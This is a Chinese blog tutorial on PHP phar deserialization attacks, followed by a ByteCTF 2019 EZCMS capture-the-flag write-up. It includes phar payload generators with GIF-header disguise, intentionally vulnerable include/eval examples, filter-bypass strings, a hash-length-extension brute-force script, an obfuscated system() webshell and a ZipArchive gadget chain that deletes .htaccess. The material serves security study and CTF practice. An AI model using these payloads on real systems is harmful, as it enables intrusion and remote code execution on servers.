Toc
  1. phar伪协议
    1. phar伪协议触发php反序列化
      1. 示例
    2. 可利用的文件操作函数
    3. 绕过phar头限制的方法
  2. 例题
    1. [ByteCTF 2019]EZCMS
      1. 审计源码:
Toc
0 results found
Rayi
phar反序列化简介

整理整理着就翻到这个了,顺便做了道bytectf的题,复习下哈希长度扩展攻击

phar伪协议

phar伪协议触发php反序列化

phar://协议
可以将多个文件归入一个本地文件夹,也可以包含一个文件
phar文件
PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。
phar文件结构

详情参考php手册(https://secure.php.net/phar)
这里摘出创宇提供的四部分结构概要:
1、a stub
识别phar拓展的标识,格式:xxx<?php xxx; __HALT_COMPILER();?>。对应的函数Phar::setStub
2、a manifest describing the contents
被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分。对应函数Phar::setMetadata—设置phar归档元数据
image-20191224153933110
3、the file contents
被压缩文件的内容。
4、[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾。对应函数Phar :: stopBuffering —停止缓冲对Phar存档的写入请求,并将更改保存到磁盘

Phar内置方法
本地生成一个phar文件,要想使用Phar类里的方法,必须将phar.readonly配置项配置为0或Off(文档中定义)
PHP内置phar类,其他的一些方法如下:

$phar = new Phar('sdpc.phar'); //实例一个phar对象供后续操作 
$phar->startBuffering() //开始缓冲Phar写操作 
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString('test.php','<?php echo 'this is test file';'); //以字符串的形式添加一个文件到 phar 档案 
$phar->buildFromDirectory('fileTophar') //把一个目录下的文件归档到phar档案
$phar->extractTo() //解压一个phar包的函数,extractTo 提取phar文档内容

漏洞剖析

文件的第二部分a manifest describing the contents可知,phar文件会以序列化的形式存储用户自定义的meta-data,在一些文件操作函数执行的参数可控,参数部分我们利用Phar伪协议,可以不依赖unserialize()直接进行反序列化操作,在读取phar文件里的数据时反序列化meta-data,达到我们的操控目的。

而在一些上传点,我们可以更改phar的文件头并且修改其后缀名绕过检测,如:test.gif,里面的meta-data却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过+执行的方法。

phar怎么用?

<?php
    class TestObject {
    	public $data;
    
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
	$o -> data = 'h4ck3r';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

执行后目录下会生成一个phar.phar文件

image-20191224161028585

如果这时候网站有一个这样的页面

class TestObject{
    function __destruct()
    {
        echo $this->data;
    }
}
 
include ($_POST[phar]);

可以通过伪协议包含我们的phar文件,那么在包含的过程中就会进行反序列化
image-20191224161305782
输出出我们的文字

总结下利用条件

  • 代码中存在文件操作函数(file_get_contents,file_put_contents等)
  • 存在可用的魔术方法和命令执行点(或者其他的)
  • 文件操作函数的参数可控,且无过滤phar://

示例

用phar伪装一下其他文件,因为php识别phar文件是通过stub来的,那样的话我们只需要在<?php __HALT_COMPILER();?>前面加多一个其他文件的头,就可以伪装了

前端的上传页面

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ea3y_upload_file</title>
</head>
<body>
    <form action="http://localhost/ctf/phar/upload.php" method="post" enctype="multipart/form-data">
        <input type="file" name="file" />
        <input type="submit" name="upload" />
    </form>
</body>
</html>

后台的检测页面,先限制好只能传gif

if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"]."<br>";
    echo "Type: " . $_FILES["file"]["type"]."<br>";
    echo "Temp file: " . $_FILES["file"]["tmp_name"]."<br>";
 
    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
    {
        echo $_FILES["file"]["name"] . " already exists. ";
    }
    else
    {
        move_uploaded_file($_FILES["file"]["tmp_name"],
            "upload_file/" .$_FILES["file"]["name"]);
        echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
    }
}
else
{
    echo "Invalid file,you can only upload gif";
}

后台解析文件的php

<?php
$filename=$_GET['filename'];
class AnyClass{
    function __destruct()
    {
        eval($this ->data);
    }
}
include ($filename);

emmm,可以看到,类里面有个魔幻函数,同时还有一句eval,甚至还能给你一句include,没错,就是它了
自己生成个phar的文件

<?php
class AnyClass{
    function __destruct()
    {
        eval($this -> data);
    }
}
$phar = new Phar('phar2.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> data = 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

可以看到,stub前面已经加了gif头,类里面的参数是phpinfo,如果最后能利用的话就会输出php的信息
执行一下可以看到生成phar2.phar文件,改下后缀成gif文件,然后上传,最后访问

可利用的文件操作函数

fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile、md5_file、filesiz
exif
exif_thumbnail
exif_imagetype
gd
imageloadfont
imagecreatefrom***
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
standard
getimagesize
getimagesizefromstringfinfo_file/finfo_buffer/mime_content_type
//zip  
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
//Postgres
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
//mysql
<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

绕过phar头限制的方法

$z` `= ``'compress.bzip2://phar:///home/sx/test.phar/test.txt'``;
$z` `= ``'compress.zlib://phar:///home/sx/test.phar/test.txt'``;
@``file_get_contents``(``$z``);
@``include``(``'php://filter/read=convert.base64-encode/resource=phar://yunying.phar'``);
mime_content_type(``'php://filter/read=convert.base64-encode/resource=phar://yunying.phar'``)

例题

[ByteCTF 2019]EZCMS

一进去看到是登陆界面,发现无论输入什么都会登陆进去

扫描目录可以发现备份文件www.zip

审计源码:

上传点处调用了admin类

image-20191224222650881

发现了检测是否为admin的函数

image-20191224222947628

跟进查看

image-20191224223012812

哈希长度扩展攻击

我一开始以为secret的八个*是随便填的,没想到最后密钥还真是8位。。。

爆破脚本:

from md5pad import *
import requests
import urllib

def check():
	url = 'http://7a29017e-b3a6-4231-9cd4-9da458ad6fe9.node3.buuoj.cn/upload.php'
	hash_md5 = '52107b08c0f3342d2153ae1d68e6262c'
	add_data = 'rayi'
	files = {'file': open('1.jpg', 'rb')}
	for key_len in range(10,20):
		m = md5py.md5()
		urlencode_payload = urllib.quote(payload(key_len,add_data))
		new_md5 = m.extension_attack(hash_md5, add_data, key_len)
		print new_md5
		print urlencode_payload
		cookie = {'user':new_md5}
		s = requests.session()
		login_data = {'username':'admin',
				  	  'password':'admin'+urlencode_payload}
		s.post(url='http://7a29017e-b3a6-4231-9cd4-9da458ad6fe9.node3.buuoj.cn/',data=login_data)
		web = s.post(url=url,files=files,cookies=cookie)
		print len(web.text)
		print key_len
		
check()

image-20191224223247873

登陆为admin后就可以上传文件了

上传个一句话,发现还有过滤

image-20191224223418970

随便分割下关键字就好

<?php
    $a = 'sys'.'tem';
	$a($_GET['rayi']);
?>

image-20191224224853581

成功上传

马传上去了但是执行不了,因为有.htaccess文件

我们需要把.htaccess删掉

再看view.php

image-20191224225002619

调用了File类中的view__detail方法,找到了可以利用phar的点

还有一个profile类没有用到

image-20191224225316084

调用了$admin类中的open方法,$admin类是啥呢?

查查手册,看看有啥内置类含有open方法

image-20191224230200966

image-20191224230218716

就他了

写exp

<?php
class File{

    public $filename;
    public $filepath;
    public $checker;
}
class Profile{

    public $username;
    public $password;
    public $admin;
}
$a=new File();
$a->checker=new Profile();
$a->checker->admin=new ZipArchive();
$a->checker->username="/var/www/html/sandbox/33c6f8457bd77fce0b109b4554e1a95c/.htaccess";
$a->checker->password=ZipArchive::OVERWRITE;
$phar = new Phar('1.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($a);
$phar -> stopBuffering();
?>

上传phar

先记住自己马的目录,否则一会删除后再回来看会导致再次生成.htaccess

在view中通过php://filter绕过过滤读取phar文件,删除.htaccess

image-20191224231031568

在利用刚才传上去的马读取flag就好了

image-20191224230953947

本文作者:Rayi
版权声明:本文首发于Rayi的博客,转载请注明出处!